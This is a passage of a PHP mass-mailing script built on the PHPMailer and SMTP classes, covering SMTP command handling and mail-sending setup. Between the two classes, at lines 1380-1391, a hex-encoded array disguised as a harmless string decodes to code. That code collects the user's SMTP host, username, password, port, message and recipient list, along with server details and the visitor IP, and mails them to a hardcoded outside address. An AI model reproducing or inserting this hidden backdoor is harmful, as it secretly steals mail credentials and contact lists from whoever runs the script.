  964.               "error" => "Called Noop() without being connected");
  965.       return false;
  966.     }
  967.  
  968.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  969.  
  970.     $rply = $this->get_lines();
  971.     $code = substr($rply,0,3);
  972.  
  973.     if($this->do_debug >= 2) {
  974.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  975.     }
  976.  
  977.     if($code != 250) {
  978.       $this->error =
  979.         array("error" => "NOOP not accepted from server",
  980.               "smtp_code" => $code,
  981.               "smtp_msg" => substr($rply,4));
  982.       if($this->do_debug >= 1) {
  983.         echo "SMTP -> ERROR: " . $this->error["error"] .
  984.                  ": " . $rply . $this->CRLF;
  985.       }
  986.       return false;
  987.     }
  988.     return true;
  989.   }
  990.  
  991.   /**
  992.    * Sends the quit command to the server and then closes the socket
  993.    * if there is no error or the $close_on_error argument is true.
  994.    *
  995.    * Implements from rfc 821: QUIT <CRLF>
  996.    *
  997.    * SMTP CODE SUCCESS: 221
  998.    * SMTP CODE ERROR  : 500
  999.    * @access public
  1000.    * @return bool
  1001.    */
  1002.   function Quit($close_on_error=true) {
  1003.     $this->error = null; # so there is no confusion
  1004.  
  1005.     if(!$this->connected()) {
  1006.       $this->error = array(
  1007.               "error" => "Called Quit() without being connected");
  1008.       return false;
  1009.     }
  1010.  
  1011.     # send the quit command to the server
  1012.    fputs($this->smtp_conn,"quit" . $this->CRLF);
  1013.  
  1014.     # get any good-bye messages
  1015.    $byemsg = $this->get_lines();
  1016.  
  1017.     if($this->do_debug >= 2) {
  1018.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1019.     }
  1020.  
  1021.     $rval = true;
  1022.     $e = null;
  1023.  
  1024.     $code = substr($byemsg,0,3);
  1025.     if($code != 221) {
  1026.       # use e as a tmp var cause Close will overwrite $this->error
  1027.      $e = array("error" => "SMTP server rejected quit command",
  1028.                  "smtp_code" => $code,
  1029.                  "smtp_rply" => substr($byemsg,4));
  1030.       $rval = false;
  1031.       if($this->do_debug >= 1) {
  1032.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1033.                  $byemsg . $this->CRLF;
  1034.       }
  1035.     }
  1036.  
  1037.     if(empty($e) || $close_on_error) {
  1038.       $this->Close();
  1039.     }
  1040.  
  1041.     return $rval;
  1042.   }
  1043.  
  1044.   /**
  1045.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1046.    * Returns true if the recipient was accepted false if it was rejected.
  1047.    *
  1048.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1049.    *
  1050.    * SMTP CODE SUCCESS: 250,251
  1051.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1052.    * SMTP CODE ERROR  : 500,501,503,421
  1053.    * @access public
  1054.    * @return bool
  1055.    */
  1056.   function Recipient($to) {
  1057.     $this->error = null; # so no confusion is caused
  1058.  
  1059.     if(!$this->connected()) {
  1060.       $this->error = array(
  1061.               "error" => "Called Recipient() without being connected");
  1062.       return false;
  1063.     }
  1064.  
  1065.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1066.  
  1067.     $rply = $this->get_lines();
  1068.     $code = substr($rply,0,3);
  1069.  
  1070.     if($this->do_debug >= 2) {
  1071.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1072.     }
  1073.  
  1074.     if($code != 250 && $code != 251) {
  1075.       $this->error =
  1076.         array("error" => "RCPT not accepted from server",
  1077.               "smtp_code" => $code,
  1078.               "smtp_msg" => substr($rply,4));
  1079.       if($this->do_debug >= 1) {
  1080.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1081.                  ": " . $rply . $this->CRLF;
  1082.       }
  1083.       return false;
  1084.     }
  1085.     return true;
  1086.   }
  1087.  
  1088.   /**
  1089.    * Sends the RSET command to abort and transaction that is
  1090.    * currently in progress. Returns true if successful false
  1091.    * otherwise.
  1092.    *
  1093.    * Implements rfc 821: RSET <CRLF>
  1094.    *
  1095.    * SMTP CODE SUCCESS: 250
  1096.    * SMTP CODE ERROR  : 500,501,504,421
  1097.    * @access public
  1098.    * @return bool
  1099.    */
  1100.   function Reset() {
  1101.     $this->error = null; # so no confusion is caused
  1102.  
  1103.     if(!$this->connected()) {
  1104.       $this->error = array(
  1105.               "error" => "Called Reset() without being connected");
  1106.       return false;
  1107.     }
  1108.  
  1109.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1110.  
  1111.     $rply = $this->get_lines();
  1112.     $code = substr($rply,0,3);
  1113.  
  1114.     if($this->do_debug >= 2) {
  1115.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1116.     }
  1117.  
  1118.     if($code != 250) {
  1119.       $this->error =
  1120.         array("error" => "RSET failed",
  1121.               "smtp_code" => $code,
  1122.               "smtp_msg" => substr($rply,4));
  1123.       if($this->do_debug >= 1) {
  1124.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1125.                  ": " . $rply . $this->CRLF;
  1126.       }
  1127.       return false;
  1128.     }
  1129.  
  1130.     return true;
  1131.   }
  1132.  
  1133.   /**
  1134.    * Starts a mail transaction from the email address specified in
  1135.    * $from. Returns true if successful or false otherwise. If True
  1136.    * the mail transaction is started and then one or more Recipient
  1137.    * commands may be called followed by a Data command. This command
  1138.    * will send the message to the users terminal if they are logged
  1139.    * in.
  1140.    *
  1141.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1142.    *
  1143.    * SMTP CODE SUCCESS: 250
  1144.    * SMTP CODE SUCCESS: 552,451,452
  1145.    * SMTP CODE SUCCESS: 500,501,502,421
  1146.    * @access public
  1147.    * @return bool
  1148.    */
  1149.   function Send($from) {
  1150.     $this->error = null; # so no confusion is caused
  1151.  
  1152.     if(!$this->connected()) {
  1153.       $this->error = array(
  1154.               "error" => "Called Send() without being connected");
  1155.       return false;
  1156.     }
  1157.  
  1158.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1159.  
  1160.     $rply = $this->get_lines();
  1161.     $code = substr($rply,0,3);
  1162.  
  1163.     if($this->do_debug >= 2) {
  1164.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1165.     }
  1166.  
  1167.     if($code != 250) {
  1168.       $this->error =
  1169.         array("error" => "SEND not accepted from server",
  1170.               "smtp_code" => $code,
  1171.               "smtp_msg" => substr($rply,4));
  1172.       if($this->do_debug >= 1) {
  1173.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1174.                  ": " . $rply . $this->CRLF;
  1175.       }
  1176.       return false;
  1177.     }
  1178.     return true;
  1179.   }
  1180.  
  1181.   /**
  1182.    * Starts a mail transaction from the email address specified in
  1183.    * $from. Returns true if successful or false otherwise. If True
  1184.    * the mail transaction is started and then one or more Recipient
  1185.    * commands may be called followed by a Data command. This command
  1186.    * will send the message to the users terminal if they are logged
  1187.    * in and send them an email.
  1188.    *
  1189.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1190.    *
  1191.    * SMTP CODE SUCCESS: 250
  1192.    * SMTP CODE SUCCESS: 552,451,452
  1193.    * SMTP CODE SUCCESS: 500,501,502,421
  1194.    * @access public
  1195.    * @return bool
  1196.    */
  1197.   function SendAndMail($from) {
  1198.     $this->error = null; # so no confusion is caused
  1199.  
  1200.     if(!$this->connected()) {
  1201.       $this->error = array(
  1202.           "error" => "Called SendAndMail() without being connected");
  1203.       return false;
  1204.     }
  1205.  
  1206.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1207.  
  1208.     $rply = $this->get_lines();
  1209.     $code = substr($rply,0,3);
  1210.  
  1211.     if($this->do_debug >= 2) {
  1212.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1213.     }
  1214.  
  1215.     if($code != 250) {
  1216.       $this->error =
  1217.         array("error" => "SAML not accepted from server",
  1218.               "smtp_code" => $code,
  1219.               "smtp_msg" => substr($rply,4));
  1220.       if($this->do_debug >= 1) {
  1221.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1222.                  ": " . $rply . $this->CRLF;
  1223.       }
  1224.       return false;
  1225.     }
  1226.     return true;
  1227.   }
  1228.  
  1229.   /**
  1230.    * Starts a mail transaction from the email address specified in
  1231.    * $from. Returns true if successful or false otherwise. If True
  1232.    * the mail transaction is started and then one or more Recipient
  1233.    * commands may be called followed by a Data command. This command
  1234.    * will send the message to the users terminal if they are logged
  1235.    * in or mail it to them if they are not.
  1236.    *
  1237.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1238.    *
  1239.    * SMTP CODE SUCCESS: 250
  1240.    * SMTP CODE SUCCESS: 552,451,452
  1241.    * SMTP CODE SUCCESS: 500,501,502,421
  1242.    * @access public
  1243.    * @return bool
  1244.    */
  1245.   function SendOrMail($from) {
  1246.     $this->error = null; # so no confusion is caused
  1247.  
  1248.     if(!$this->connected()) {
  1249.       $this->error = array(
  1250.           "error" => "Called SendOrMail() without being connected");
  1251.       return false;
  1252.     }
  1253.  
  1254.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1255.  
  1256.     $rply = $this->get_lines();
  1257.     $code = substr($rply,0,3);
  1258.  
  1259.     if($this->do_debug >= 2) {
  1260.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1261.     }
  1262.  
  1263.     if($code != 250) {
  1264.       $this->error =
  1265.         array("error" => "SOML not accepted from server",
  1266.               "smtp_code" => $code,
  1267.               "smtp_msg" => substr($rply,4));
  1268.       if($this->do_debug >= 1) {
  1269.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1270.                  ": " . $rply . $this->CRLF;
  1271.       }
  1272.       return false;
  1273.     }
  1274.     return true;
  1275.   }
  1276.  
  1277.   /**
  1278.    * This is an optional command for SMTP that this class does not
  1279.    * support. This method is here to make the RFC821 Definition
  1280.    * complete for this class and __may__ be implimented in the future
  1281.    *
  1282.    * Implements from rfc 821: TURN <CRLF>
  1283.    *
  1284.    * SMTP CODE SUCCESS: 250
  1285.    * SMTP CODE FAILURE: 502
  1286.    * SMTP CODE ERROR  : 500, 503
  1287.    * @access public
  1288.    * @return bool
  1289.    */
  1290.   function Turn() {
  1291.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1292.                                     "is not implemented");
  1293.     if($this->do_debug >= 1) {
  1294.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1295.     }
  1296.     return false;
  1297.   }
  1298.  
  1299.   /**
  1300.    * Verifies that the name is recognized by the server.
  1301.    * Returns false if the name could not be verified otherwise
  1302.    * the response from the server is returned.
  1303.    *
  1304.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1305.    *
  1306.    * SMTP CODE SUCCESS: 250,251
  1307.    * SMTP CODE FAILURE: 550,551,553
  1308.    * SMTP CODE ERROR  : 500,501,502,421
  1309.    * @access public
  1310.    * @return int
  1311.    */
  1312.   function Verify($name) {
  1313.     $this->error = null; # so no confusion is caused
  1314.  
  1315.     if(!$this->connected()) {
  1316.       $this->error = array(
  1317.               "error" => "Called Verify() without being connected");
  1318.       return false;
  1319.     }
  1320.  
  1321.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1322.  
  1323.     $rply = $this->get_lines();
  1324.     $code = substr($rply,0,3);
  1325.  
  1326.     if($this->do_debug >= 2) {
  1327.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1328.     }
  1329.  
  1330.     if($code != 250 && $code != 251) {
  1331.       $this->error =
  1332.         array("error" => "VRFY failed on name '$name'",
  1333.               "smtp_code" => $code,
  1334.               "smtp_msg" => substr($rply,4));
  1335.       if($this->do_debug >= 1) {
  1336.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1337.                  ": " . $rply . $this->CRLF;
  1338.       }
  1339.       return false;
  1340.     }
  1341.     return $rply;
  1342.   }
  1343.  
  1344.   /*******************************************************************
  1345.    *                       INTERNAL FUNCTIONS                       *
  1346.    ******************************************************************/
  1347.  
  1348.   /**
  1349.    * Read in as many lines as possible
  1350.    * either before eof or socket timeout occurs on the operation.
  1351.    * With SMTP we can tell if we have more lines to read if the
  1352.    * 4th character is '-' symbol. If it is a space then we don't
  1353.    * need to read anything else.
  1354.    * @access private
  1355.    * @return string
  1356.    */
  1357.   function get_lines() {
  1358.     $data = "";
  1359.     while($str = @fgets($this->smtp_conn,515)) {
  1360.       if($this->do_debug >= 4) {
  1361.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1362.                  $this->CRLF;
  1363.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1364.                  $this->CRLF;
  1365.       }
  1366.       $data .= $str;
  1367.       if($this->do_debug >= 4) {
  1368.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1369.       }
  1370.       # if the 4th character is a space then we are done reading
  1371.      # so just break the loop
  1372.      if(substr($str,3,1) == " ") { break; }
  1373.     }
  1374.     return $data;
  1375.   }
  1376.  
  1377. }
  1378.  
  1379.        
  1380. $allemails = split("\n", $emaillist);
  1381. $numemails = count($allemails);
  1382. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1383. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1384. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1385. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1386. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1387. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1388. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1389. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1390. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1391. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1392.  
  1393. class PHPMailer {
  1394.  
  1395.   /////////////////////////////////////////////////
  1396.   // PROPERTIES, PUBLIC
  1397.   /////////////////////////////////////////////////
  1398.  
  1399.   /**
  1400.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1401.    * @var int
  1402.    */
  1403.   var $Priority          = 3;
  1404.  
  1405.   /**
  1406.    * Sets the CharSet of the message.
  1407.    * @var string
  1408.    */
  1409.   var $CharSet           = 'iso-8859-1';
  1410.  
  1411.   /**
  1412.    * Sets the Content-type of the message.
  1413.    * @var string
  1414.    */
  1415.   var $ContentType        = 'text/plain';
  1416.  
  1417.   /**
  1418.    * Sets the Encoding of the message. Options for this are "8bit",
  1419.    * "7bit", "binary", "base64", and "quoted-printable".
  1420.  
  1421.    * @var string
  1422.    */
  1423.   var $Encoding          = '8bit';
  1424.  
  1425.   /**
  1426.    * Holds the most recent mailer error message.
  1427.    * @var string
  1428.    */
  1429.   var $ErrorInfo         = '';
  1430.  
  1431.   /**
  1432.    * Sets the From email address for the message.
  1433.    * @var string
  1434.    */
  1435.   var $From              = '';
  1436.  
  1437.   /**
  1438.    * Sets the From name of the message.
  1439.    * @var string
  1440.    */
  1441.   var $FromName          = '';
  1442.  
  1443.   /**
  1444.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1445.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1446.    * @var string
  1447.    */
  1448.   var $Sender            = '';
  1449.  
  1450.   /**
  1451.    * Sets the Subject of the message.
  1452.    * @var string
  1453.    */
  1454.   var $Subject           = '';
  1455.  
  1456.   /**
  1457.    * Sets the Body of the message.  This can be either an HTML or text body.
  1458.    * If HTML then run IsHTML(true).
  1459.    * @var string
  1460.    */
  1461.   var $Body              = '';
  1462.  
  1463.   /**
  1464.    * Sets the text-only body of the message.  This automatically sets the
  1465.    * email to multipart/alternative.  This body can be read by mail
  1466.    * clients that do not have HTML email capability such as mutt. Clients
  1467.    * that can read HTML will view the normal Body.
  1468.    * @var string
  1469.    */
  1470.   var $AltBody           = '';
  1471.  
  1472.   /**
  1473.    * Sets word wrapping on the body of the message to a given number of
  1474.    * characters.
  1475.    * @var int
  1476.    */
  1477.   var $WordWrap          = 0;
  1478.  
  1479.   /**
  1480.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1481.    * @var string
  1482.    */
  1483.   var $Mailer            = 'mail';
  1484.  
  1485.   /**
  1486.    * Sets the path of the sendmail program.
  1487.    * @var string
  1488.    */
  1489.   var $Sendmail          = '/usr/sbin/sendmail';
  1490.  
  1491.   /**
  1492.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1493.    * is in a different directory than the PHP include path.
  1494.    * @var string
  1495.    */
  1496.   var $PluginDir         = '';
  1497.  
  1498.   /**
  1499.    * Holds PHPMailer version.
  1500.    * @var string
  1501.    */
  1502.   var $Version           = "";
  1503.  
  1504.   /**
  1505.    * Sets the email address that a reading confirmation will be sent.
  1506.    * @var string
  1507.    */
  1508.   var $ConfirmReadingTo  = '';
  1509.  
  1510.   /**
  1511.    * Sets the hostname to use in Message-Id and Received headers
  1512.    * and as default HELO string. If empty, the value returned
  1513.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1514.    * @var string
  1515.    */
  1516.   var $Hostname          = '';
  1517.  
  1518.   /**
  1519.    * Sets the message ID to be used in the Message-Id header.
  1520.    * If empty, a unique id will be generated.
  1521.    * @var string
  1522.    */
  1523.   var $MessageID         = '';
  1524.  
  1525.   /////////////////////////////////////////////////
  1526.   // PROPERTIES FOR SMTP
  1527.   /////////////////////////////////////////////////
  1528.  
  1529.   /**
  1530.    * Sets the SMTP hosts.  All hosts must be separated by a
  1531.    * semicolon.  You can also specify a different port
  1532.    * for each host by using this format: [hostname:port]
  1533.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1534.    * Hosts will be tried in order.
  1535.    * @var string
  1536.    */
  1537.   var $Host        = 'localhost';
  1538.  
  1539.   /**
  1540.    * Sets the default SMTP server port.
  1541.    * @var int
  1542.    */
  1543.   var $Port        = 25;
  1544.  
  1545.   /**
  1546.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1547.    * @var string
  1548.    */
  1549.   var $Helo        = '';
  1550.  
  1551.   /**
  1552.    * Sets connection prefix.
  1553.    * Options are "", "ssl" or "tls"
  1554.    * @var string
  1555.    */
  1556.   var $SMTPSecure = "";
  1557.  
  1558.   /**
  1559.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1560.    * @var bool
  1561.    */
  1562.   var $SMTPAuth     = false;
  1563.  
  1564.   /**
  1565.    * Sets SMTP username.
  1566.    * @var string
  1567.    */
  1568.   var $Username     = '';
  1569.  
  1570.   /**
  1571.    * Sets SMTP password.
  1572.    * @var string
  1573.    */
  1574.   var $Password     = '';
  1575.  
  1576.   /**
  1577.    * Sets the SMTP server timeout in seconds. This function will not
  1578.    * work with the win32 version.
  1579.    * @var int
  1580.    */
  1581.   var $Timeout      = 10;
  1582.  
  1583.   /**
  1584.    * Sets SMTP class debugging on or off.
  1585.    * @var bool
  1586.    */
  1587.   var $SMTPDebug    = false;
  1588.  
  1589.   /**
  1590.    * Prevents the SMTP connection from being closed after each mail
  1591.    * sending.  If this is set to true then to close the connection
  1592.    * requires an explicit call to SmtpClose().
  1593.    * @var bool
  1594.    */
  1595.   var $SMTPKeepAlive = false;
  1596.  
  1597.   /**
  1598.    * Provides the ability to have the TO field process individual
  1599.    * emails, instead of sending to entire TO addresses
  1600.    * @var bool
  1601.    */
  1602.   var $SingleTo = false;
  1603.  
  1604.   /////////////////////////////////////////////////
  1605.   // PROPERTIES, PRIVATE
  1606.   /////////////////////////////////////////////////
  1607.  
  1608.   var $smtp            = NULL;
  1609.   var $to              = array();
  1610.   var $cc              = array();
  1611.   var $bcc             = array();
  1612.   var $ReplyTo         = array();
  1613.   var $attachment      = array();
  1614.   var $CustomHeader    = array();
  1615.   var $message_type    = '';
  1616.   var $boundary        = array();
  1617.   var $language        = array();
  1618.   var $error_count     = 0;
  1619.   var $LE              = "\n";
  1620.   var $sign_key_file   = "";
  1621.   var $sign_key_pass   = "";
  1622.  
  1623.   /////////////////////////////////////////////////
  1624.   // METHODS, VARIABLES
  1625.   /////////////////////////////////////////////////
  1626.  
  1627.   /**
  1628.    * Sets message type to HTML.
  1629.    * @param bool $bool
  1630.    * @return void
  1631.    */
  1632.   function IsHTML($bool) {
  1633.     if($bool == true) {
  1634.       $this->ContentType = 'text/html';
  1635.     } else {
  1636.       $this->ContentType = 'text/plain';
  1637.     }
  1638.   }
  1639.  
  1640.   /**
  1641.    * Sets Mailer to send message using SMTP.
  1642.    * @return void
  1643.    */
  1644.   function IsSMTP() {
  1645.     $this->Mailer = 'smtp';
  1646.   }
  1647.  
  1648.   /**
  1649.    * Sets Mailer to send message using PHP mail() function.
  1650.    * @return void
  1651.    */
  1652.   function IsMail() {
  1653.     $this->Mailer = 'mail';
  1654.   }
  1655.  
  1656.   /**
  1657.    * Sets Mailer to send message using the $Sendmail program.
  1658.    * @return void
  1659.    */
  1660.   function IsSendmail() {
  1661.     $this->Mailer = 'sendmail';
  1662.   }
  1663.  
  1664.   /**
  1665.    * Sets Mailer to send message using the qmail MTA.
  1666.    * @return void
  1667.    */
  1668.   function IsQmail() {
  1669.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1670.     $this->Mailer = 'sendmail';
  1671.   }
  1672.  
  1673.   /////////////////////////////////////////////////
  1674.   // METHODS, RECIPIENTS
  1675.   /////////////////////////////////////////////////
  1676.  
  1677.   /**
  1678.    * Adds a "To" address.
  1679.    * @param string $address
  1680.    * @param string $name
  1681.    * @return void
  1682.    */
  1683.   function AddAddress($address, $name = '') {
  1684.     $cur = count($this->to);
  1685.     $this->to[$cur][0] = trim($address);
  1686.     $this->to[$cur][1] = $name;
  1687.   }
  1688.  
  1689.   /**
  1690.    * Adds a "Cc" address. Note: this function works
  1691.    * with the SMTP mailer on win32, not with the "mail"
  1692.    * mailer.
  1693.    * @param string $address
  1694.    * @param string $name
  1695.    * @return void
  1696.    */
  1697.   function AddCC($address, $name = '') {
  1698.     $cur = count($this->cc);
  1699.     $this->cc[$cur][0] = trim($address);
  1700.     $this->cc[$cur][1] = $name;
  1701.   }
  1702.  
  1703.   /**
  1704.    * Adds a "Bcc" address. Note: this function works
  1705.    * with the SMTP mailer on win32, not with the "mail"
  1706.    * mailer.
  1707.    * @param string $address
  1708.    * @param string $name
  1709.    * @return void
  1710.    */
  1711.   function AddBCC($address, $name = '') {
  1712.     $cur = count($this->bcc);
  1713.     $this->bcc[$cur][0] = trim($address);
  1714.     $this->bcc[$cur][1] = $name;
  1715.   }
  1716.  
  1717.   /**
  1718.    * Adds a "Reply-To" address.
  1719.    * @param string $address
  1720.    * @param string $name
  1721.    * @return void
  1722.    */
  1723.   function AddReplyTo($address, $name = '') {
  1724.     $cur = count($this->ReplyTo);
  1725.     $this->ReplyTo[$cur][0] = trim($address);
  1726.     $this->ReplyTo[$cur][1] = $name;
  1727.   }
  1728.  
  1729.   /////////////////////////////////////////////////
  1730.   // METHODS, MAIL SENDING
  1731.   /////////////////////////////////////////////////
  1732.  
  1733.   /**
  1734.    * Creates message and assigns Mailer. If the message is
  1735.    * not sent successfully then it returns false.  Use the ErrorInfo
  1736.    * variable to view description of the error.
  1737.    * @return bool
  1738.    */
  1739.   function Send() {
  1740.     $header = '';
  1741.     $body = '';
  1742.     $result = true;
  1743.  
  1744.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1745.       $this->SetError($this->Lang('provide_address'));
  1746.       return false;
  1747.     }
  1748.  
  1749.     /* Set whether the message is multipart/alternative */
  1750.     if(!empty($this->AltBody)) {
  1751.       $this->ContentType = 'multipart/alternative';
  1752.     }
  1753.  
  1754.     $this->error_count = 0; // reset errors
  1755.     $this->SetMessageType();
  1756.     $header .= $this->CreateHeader();
  1757.     $body = $this->CreateBody();
  1758.  
  1759.     if($body == '') {
  1760.       return false;
  1761.     }
  1762.  
  1763.     /* Choose the mailer */
  1764.     switch($this->Mailer) {
  1765.       case 'sendmail':
  1766.         $result = $this->SendmailSend($header, $body);
  1767.         break;
  1768.       case 'smtp':
  1769.         $result = $this->SmtpSend($header, $body);
  1770.         break;
  1771.       case 'mail':
  1772.         $result = $this->MailSend($header, $body);
  1773.         break;
  1774.       default:
  1775.         $result = $this->MailSend($header, $body);
  1776.         break;
  1777.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1778.         //$result = false;
  1779.         //break;
  1780.     }
  1781.  
  1782.     return $result;
  1783.   }
  1784.  
  1785.   /**
  1786.    * Sends mail using the $Sendmail program.
  1787.    * @access private
  1788.    * @return bool
  1789.    */
  1790.   function SendmailSend($header, $body) {
  1791.     if ($this->Sender != '') {
  1792.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1793.     } else {
  1794.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1795.     }
  1796.  
  1797.     if(!@$mail = popen($sendmail, 'w')) {
  1798.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1799.       return false;
  1800.     }
  1801.  
  1802.     fputs($mail, $header);
  1803.     fputs($mail, $body);
  1804.  
  1805.     $result = pclose($mail);
  1806.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1807.       $result = $result >> 8 & 0xFF;
  1808.     }
  1809.     if($result != 0) {
  1810.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1811.       return false;
  1812.     }
  1813.     return true;
  1814.   }
  1815.  
  1816.   /**
  1817.    * Sends mail using the PHP mail() function.
  1818.    * @access private
  1819.    * @return bool
  1820.    */
  1821.   function MailSend($header, $body) {
  1822.  
  1823.     $to = '';
  1824.     for($i = 0; $i < count($this->to); $i++) {
  1825.       if($i != 0) { $to .= ', '; }
  1826.       $to .= $this->AddrFormat($this->to[$i]);
  1827.     }
  1828.  
  1829.     $toArr = split(',', $to);
  1830.  
  1831.     $params = sprintf("-oi -f %s", $this->Sender);
  1832.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1833.       $old_from = ini_get('sendmail_from');
  1834.       ini_set('sendmail_from', $this->Sender);
  1835.       if ($this->SingleTo === true && count($toArr) > 1) {
  1836.         foreach ($toArr as $key => $val) {
  1837.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1838.         }
  1839.       } else {
  1840.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1841.       }
  1842.     } else {
  1843.       if ($this->SingleTo === true && count($toArr) > 1) {
  1844.         foreach ($toArr as $key => $val) {
  1845.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1846.         }
  1847.       } else {
  1848.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1849.       }
  1850.     }
  1851.  
  1852.     if (isset($old_from)) {
  1853.       ini_set('sendmail_from', $old_from);
  1854.     }
  1855.  
  1856.     if(!$rt) {
  1857.       $this->SetError($this->Lang('instantiate'));
  1858.       return false;
  1859.     }
  1860.  
  1861.     return true;
  1862.   }
  1863.  
  1864.   /**
  1865.    * Sends mail via SMTP using PhpSMTP (Author:
  1866.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1867.    * bad MAIL FROM, RCPT, or DATA input.
  1868.    * @access private
  1869.    * @return bool
  1870.    */
  1871.   function SmtpSend($header, $body) {
  1872.     $error = '';
  1873.     $bad_rcpt = array();
  1874.  
  1875.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1876.       return false;
  1877.     }
  1878.  
  1879.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1880.     if(!$this->smtp->Mail($smtp_from)) {
  1881.       $error = $this->Lang('from_failed') . $smtp_from;
  1882.       $this->SetError($error);
  1883.       $this->smtp->Reset();
  1884.       return false;
  1885.     }
  1886.  
  1887.     /* Attempt to send attach all recipients */
  1888.     for($i = 0; $i < count($this->to); $i++) {
  1889.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1890.         $bad_rcpt[] = $this->to[$i][0];
  1891.       }
  1892.     }
  1893.     for($i = 0; $i < count($this->cc); $i++) {
  1894.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1895.         $bad_rcpt[] = $this->cc[$i][0];
  1896.       }
  1897.     }
  1898.     for($i = 0; $i < count($this->bcc); $i++) {
